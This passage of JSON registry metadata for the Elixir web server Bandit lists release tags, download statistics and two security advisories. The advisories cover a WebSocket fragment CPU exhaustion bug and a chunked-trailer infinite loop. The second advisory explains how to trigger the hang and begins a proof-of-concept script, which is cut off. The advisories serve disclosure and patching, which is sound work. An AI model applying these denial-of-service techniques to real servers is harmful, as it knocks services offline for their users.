gs/0.5.8/manifests"},{"name":"0.5.7","sha":"852e72ca9d1f3f393fff1948a50a2ddcff8fd166","kind":"commit","published_at":"2022-11-01T19:49:46.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.5.7","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.7/manifests"},{"name":"0.5.6","sha":"c06b6c8f8def9ab42fa3dcbb14ec3db160d563aa","kind":"commit","published_at":"2022-09-28T21:13:21.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.5.6","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.6/manifests"},{"name":"0.5.5","sha":"3a7ff069898862b1829c7aad5e8672e48c845a20","kind":"commit","published_at":"2022-09-24T16:10:13.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.5.5","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.5/manifests"},{"name":"0.5.4","sha":"43c132a6f0bb5dd601c21a959e28cc0d3d6c68ce","kind":"commit","published_at":"2022-09-23T16:03:19.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.5.4","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.4/manifests"},{"name":"0.5.3","sha":"3b54616b03a17e2fc75117914e1fbf3112ed3b84","kind":"commit","published_at":"2022-09-22T16:02:04.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.5.3","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.3/manifests"},{"name":"0.5.2","sha":"a6534abc8ae95b6a420865118a450e2321372499","kind":"commit","published_at":"2022-09-21T20:41:47.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.5.2","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.2/manifests"},{"name":"0.5.1","sha":"8029d15762c3658b504913d39aa91ba23091171c","kind":"commit","published_at":"2022-09-20T01:45:36.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.5.1","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.1/manifests"},{"name":"0.5.0","sha":"102adfd56bd4aacd39469a5582104377618abc9f","kind":"commit","published_at":"2022-05-04T00:09:11.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.5.0","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.5.0/manifests"},{"name":"0.4.10","sha":"556fd62282fbea82d347915a23d9948c87f8d8ed","kind":"commit","published_at":"2022-04-17T14:48:50.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.4.10","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.10/manifests"},{"name":"0.4.9","sha":"27c912009f1308840f51337dcb57d1b50c565f59","kind":"commit","published_at":"2022-04-14T20:48:05.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.4.9","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.9/manifests"},{"name":"0.4.8","sha":"ad91976aebff20f2ffd2aa8bcf00f8709d6bdc25","kind":"commit","published_at":"2022-04-14T20:16:00.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.4.8","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.8/manifests"},{"name":"0.4.7","sha":"c04edc69bfd9b47e136e43f1606214c104cac8fc","kind":"commit","published_at":"2022-03-05T20:16:50.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.4.7","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.7/manifests"},{"name":"0.4.6","sha":"5160f9ab46a6d0aa43be3c4893be09a9c9e3c33c","kind":"commit","published_at":"2022-03-03T17:21:02.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.4.6","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.6/manifests"},{"name":"0.4.5","sha":"9b1e0f66637a16fb18921bb29b6b577938b4eb07","kind":"commit","published_at":"2021-11-17T02:37:18.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.4.5","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.5/manifests"},{"name":"0.4.4","sha":"7522f44397df61eff718be2383b1f53c2da22de7","kind":"commit","published_at":"2021-10-26T17:46:10.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.4.4","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.4/manifests"},{"name":"0.4.3","sha":"c7f58ac3a9c5f43f06a3d0d769ebf5cdf4d4bbec","kind":"commit","published_at":"2021-10-12T23:41:17.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.4.3","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"ead4c66a15abb0a9e07f4b1818eb2e88e02f8a04","kind":"commit","published_at":"2021-10-11T21:18:41.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.4.2","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"769d81cadbeaa442ab8ec46c435735cd472e0761","kind":"commit","published_at":"2021-09-27T19:13:08.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.4.1","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"e968d60a4fc30ba67d9ac0c662396ef2f3fbc4fa","kind":"commit","published_at":"2021-09-27T15:47:49.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.4.0","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.4.0/manifests"},{"name":"0.3.9","sha":"ba50e09d345f5fc3d910aa3e7abb9a1b266d7a37","kind":"commit","published_at":"2021-09-25T21:54:59.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.3.9","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.3.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.9/manifests"},{"name":"0.3.8","sha":"39be44a6b09489c6c4f1e0d04d0356298dbdcc3c","kind":"commit","published_at":"2021-09-25T00:52:35.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.3.8","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.3.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.8/manifests"},{"name":"0.3.7","sha":"4d7d05a2d7091adfabddc706be1f467c0372ac15","kind":"commit","published_at":"2021-09-24T13:09:18.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.3.7","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.7/manifests"},{"name":"0.3.6","sha":"3d4da2f7b0415f426bbb972ef0465a479043c6c2","kind":"commit","published_at":"2021-09-18T18:09:17.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.3.6","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.6/manifests"},{"name":"0.3.5","sha":"f1976e96be5afedb0ae7920301b7b8047b4703d1","kind":"commit","published_at":"2021-09-15T21:06:55.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.3.5","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.5/manifests"},{"name":"0.3.4","sha":"5a9095a093f785391dd8588cda6b5719129f1827","kind":"commit","published_at":"2021-09-13T15:05:33.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.3.4","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.4/manifests"},{"name":"0.3.3","sha":"2f948eba00c0fb7f35ebbe31650c66b3f0728f9c","kind":"commit","published_at":"2021-06-29T21:56:20.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.3.3","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.3/manifests"},{"name":"0.3.2","sha":"caf83186074af58bbc3b835d5639106f9ad8ea23","kind":"commit","published_at":"2021-06-24T20:54:58.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.3.2","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"37c7f4490cefdcb0f8909afa10f9c8dd33d0a337","kind":"commit","published_at":"2021-06-06T19:30:47.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.3.1","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"053f6adbee889c3a0cfbd35897f4fad52eb6d66a","kind":"commit","published_at":"2021-06-03T13:54:49.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.3.0","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"40e42f8558e637d8a5ed223435f6b7834430ea72","kind":"commit","published_at":"2021-05-09T20:43:42.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.2.3","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"ecbe4e5a65d3c1644c3651b78a218914547b6445","kind":"commit","published_at":"2021-04-30T13:22:42.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.2.2","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.2.2/manifests"},{"name":"0.2.1","sha":"c2b59267b2a6d430cdced3c349f8db51622376c7","kind":"commit","published_at":"2021-04-29T19:23:22.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.2.1","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.2.1/manifests"},{"name":"0.2.0","sha":"3309bc0384cde6f38d9eb57b3f8782c856a7d518","kind":"commit","published_at":"2021-04-26T01:13:52.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.2.0","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.2.0/manifests"},{"name":"0.1.1","sha":"3f1702542f3b6d139143e903c4c79be6aeeefbc2","kind":"commit","published_at":"2020-11-08T15:48:04.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.1.1","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.1.1/manifests"},{"name":"0.1.0","sha":"4c80fc838640c4dae4743a61494981c57d6eef00","kind":"commit","published_at":"2020-11-05T17:11:08.000Z","download_url":"https://codeload.github.com/mtrudel/bandit/tar.gz/0.1.0","html_url":"https://github.com/mtrudel/bandit/releases/tag/0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mtrudel%2Fbandit/tags/0.1.0/manifests"}]},"repo_metadata_updated_at":"2023-12-19T07:55:28.573Z","dependent_packages_count":28,"downloads":12603807,"downloads_period":"total","dependent_repos_count":67,"rankings":{"downloads":7.565613283342261,"dependent_repos_count":2.0085698982324587,"dependent_packages_count":3.307445099089448,"stargazers_count":0.6695232994108195,"forks_count":3.24871056333311,"docker_downloads_count":null,"average":3.359972428681619},"purl":"pkg:hex/bandit","advisories":[{"uuid":"EEF-CVE-2026-65623","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-vg8x-66vg-5pxh","title":"Quadratic CPU blow-up reassembling fragmented WebSocket messages in Bandit","description":"## Summary\n\nInefficient Algorithmic Complexity vulnerability in mtrudel bandit allows unauthenticated remote denial of service via CPU exhaustion during WebSocket fragment reassembly.\n\nThe size guard 'Elixir.Bandit.WebSocket.Connection':oversize\\_message?/2 called from handle\\_frame/3 in lib/bandit/websocket/connection.ex appends each non-final continuation frame to a left-nested iolist and then re-measures the entire accumulated buffer with IO.iodata\\_length/1 on every frame. Because the buffer grows by one element per frame and is fully re-traversed each time, reassembly work is quadratic (O(n^2)) in the number of continuation frames.\n\nThe max\\_fragmented\\_message\\_size limit (default 8 MB) bounds total bytes but not frame count, and each frame can carry as little as one payload byte, so an attacker can send millions of tiny continuation frames using modest bandwidth to pin a CPU core for minutes to hours. Many concurrent connections can starve the whole server of CPU, denying service to legitimate users. The WebSocket read timeout does not help, because it is an idle timeout evaluated between reads and cannot preempt the synchronous reassembly work spent inside a single callback.\n\nThis issue affects bandit: from 1.11.0 before 1.12.1.\n\n## Configuration\n\nThis vulnerability only affects applications that serve WebSocket endpoints through Bandit (including Phoenix applications that use Bandit as the HTTP adapter). Applications that do not upgrade any connections to WebSocket are not affected.","origin":"ERLEF","severity":"HIGH","published_at":"2026-07-24T16:32:24.923Z","withdrawn_at":null,"classification":null,"cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/mtrudel/bandit/security/advisories/GHSA-vg8x-66vg-5pxh","https://cna.erlef.org/cves/CVE-2026-65623.html","https://github.com/mtrudel/bandit/commit/418ef7e906192a230ddba112f7a669c87b6b0e3a","https://hex.pm/packages/bandit"],"source_kind":"erlef","identifiers":["EEF-CVE-2026-65623","GHSA-vg8x-66vg-5pxh","CVE-2026-65623"],"repository_url":"https://github.com/mtrudel/bandit","blast_radius":15.886850783497188,"created_at":"2026-07-24T17:20:02.796Z","updated_at":"2026-07-25T04:16:42.726Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/EEF-CVE-2026-65623","html_url":"https://advisories.ecosyste.ms/advisories/EEF-CVE-2026-65623","packages":[{"ecosystem":"hex","package_name":"bandit","versions":[{"first_patched_version":"1.12.1","vulnerable_version_range":"\u003e= 1.11.0, \u003c 1.12.1"}],"purl":null,"statistics":{"dependent_packages_count":28,"dependent_repos_count":67,"downloads":12603807,"downloads_period":"total"},"affected_versions":["1.11.0","1.11.1","1.12.0"],"unaffected_versions":["0.1.0","0.1.1","0.2.0","0.2.1","0.2.2","0.2.3","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.4.10","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.5.10","0.5.11","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.6.10","0.6.11","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","1.0.0","1.1.0","1.1.1","1.1.2","1.1.3","1.2.0","1.2.1","1.2.2","1.2.3","1.3.0","1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.6.10","1.6.11","1.7.0","1.8.0","1.9.0","1.10.0","1.10.1","1.10.2","1.10.3","1.10.4","1.12.1","1.12.2","1.12.3"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/EEF-CVE-2026-65623/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yZjVxLXZ3eHctZ21yZs4ABXHZ","url":"https://github.com/advisories/GHSA-rf5q-vwxw-gmrf","title":"Bandit: Unauthenticated DoS via chunked request trailers in Bandit HTTP/1 decoder","description":"### Summary\nA worker-pinning denial of service in Bandit's HTTP/1 chunked transfer decoder. Any unauthenticated client that sends a `Transfer-Encoding: chunked` request whose body ends with a trailer field (RFC 9112 §7.1.2 explicitly permits this) causes the connection's worker process to spin forever in an infinite recursion. A handful of concurrent connections are sufficient to exhaust the listener pool and render the server unresponsive to all further traffic.\n\nThe vulnerability was likely introduced with this commit on `Dec 6, 2024`: https://github.com/mtrudel/bandit/commit/e73e379ab59840e8561b5730878f16e29ab06217\n\n### Details\nThe bug is in `lib/bandit/http1/socket.ex` in `do_read_chunked_data!/5` (around lines 242–274). The terminator clause matches only `[\"0\", \"\\r\\n\" \u003c\u003e rest]` — i.e. the last-chunk line `0\\r\\n` followed *immediately* by the empty trailer line. RFC 9112 §7.1.2 allows zero or more trailer fields between `0\\r\\n` and the final `\\r\\n`, e.g. a body ending `0\\r\\nX-T: v\\r\\n\\r\\n`.\n\nWhen trailers are present, `:binary.split/2` returns `[\"0\", \"X-T: v\\r\\n\\r\\n\"]`. The terminator clause does not match. The inner `\u003c\u003c_::binary-size(0), ?\\r, ?\\n, _::binary\u003e\u003e` pattern also does not match because `rest` starts with `X`. Execution falls into the `_ -\u003e` arm, which computes `to_read = 0 - byte_size(rest)` (a negative number) and calls `read_available!/2` on the socket. On timeout, `read_available!/2` returns `\u003c\u003c\u003e\u003e`, leaving the buffer unchanged. `do_read_chunked_data!/5` then tail-recurses with the same state and makes no forward progress. The worker is pinned for the lifetime of the TCP connection.\n\nThe same shape applies to malformed chunk frames where the declared chunk-size disagrees with the actual data length: the binary-size pattern cannot match and `read_available!` is repeatedly called with no progress.\n\nThe gap is acknowledged in the source itself — the comment on line 245 reads: *\"We should be reading (and ignoring) trailers here\"*.\n\n**Suggested fix:** after the `0` size line, consume bytes up to `\\r\\n\\r\\n` (parsing/discarding trailers via `:erlang.decode_packet(:httph_bin, …)`) before returning. Additionally, ensure every recursive arm makes forward progress — when `read_available!/2` returns `\u003c\u003c\u003e\u003e`, raise `request_error!(:request_timeout)` rather than re-entering with an unchanged buffer.\n\n### PoC\nA self-contained reproduction script is available below. It starts Bandit 1.10 on `127.0.0.1:4321` with a trivial echo Plug, opens a TCP connection, and sends a single chunked POST whose body is:\n\n- one 5-byte chunk `\"hello\"`\n- the last-chunk marker `0\\r\\n`\n- one trailer field `X-Trailer: 1\\r\\n`\n- the terminating `\\r\\n`\n\nThe request is fully RFC-conformant; many fronting proxies (NGINX, HAProxy) emit this exact shape when forwarding trailer-bearing requests. A correct server responds within milliseconds. With the bug, `:gen_tcp.recv/3` times out after 10 seconds because the worker is stuck spinning in `do_read_chunked_data!/5`.\n\nSteps to reproduce:\n1. `elixir script.exs`\n2. Observe the `TIMEOUT — worker is pinned in do_read_chunked_data!/5` log line.\n3. Each additional concurrent client sending the same request consumes one more worker process.\n\n### Impact\nUnauthenticated denial of service against any Bandit-fronted HTTP/1 service that accepts chunked request bodies — the default for Phoenix and Plug applications. No authentication, no special headers, and no large payload are required; a small number of attacker-controlled connections is enough to exhaust the worker pool and make the server unreachable for all users. Servers sitting behind proxies that legitimately forward trailer-bearing requests can also be affected without any malicious client involvement.\n\n### Script and Logs\n\n```elixir\n# Bandit HTTP/1 chunked decoder hangs on requests with trailer headers.\n#\n# lib/bandit/http1/socket.ex:242-274 (do_read_chunked_data!/5) terminates\n# only when the last-chunk line `0\\r\\n` is followed *immediately* by the\n# empty trailer line `\\r\\n`. RFC 9112 §7.1.2 allows trailer fields between\n# them (e.g. `0\\r\\nX-T: v\\r\\n\\r\\n`). With trailers present, none of the\n# match clauses fit: the `_` arm computes `to_read = 0 - byte_size(rest)`\n# (negative), calls read_available!/2, gets \u003c\u003c\u003e\u003e on timeout, and recurses\n# with the same buffer forever — pinning the worker for the connection's\n# lifetime. The line 245 comment (\"We should be reading (and ignoring)\n# trailers here\") acknowledges the gap.\n#\n# This script starts Bandit 1.10 on 127.0.0.1:4321, sends one chunked POST\n# whose body ends with a single trailer field, and waits for a response.\n# A correct server replies in milliseconds; the buggy decoder never does.\n#\n# Run: elixir script.exs\n\nMix.install([\n  {:bandit, \"~\u003e 1.10\"},\n  {:plug, \"~\u003e 1.19\"}\n])\n\ndefmodule EchoApp do\n  @behaviour Plug\n  def init(opts), do: opts\n\n  def call(conn, _opts) do\n    {:ok, body, conn} = Plug.Conn.read_body(conn)\n    Plug.Conn.send_resp(conn, 200, \"got #{byte_size(body)} bytes\")\n  end\nend\n\ndefmodule TrailerHang do\n  @port 4321\n  @recv_timeout_ms 10_000\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: EchoApp, ip: {127, 0, 0, 1}, port: @port)\n\n    {:ok, sock} = 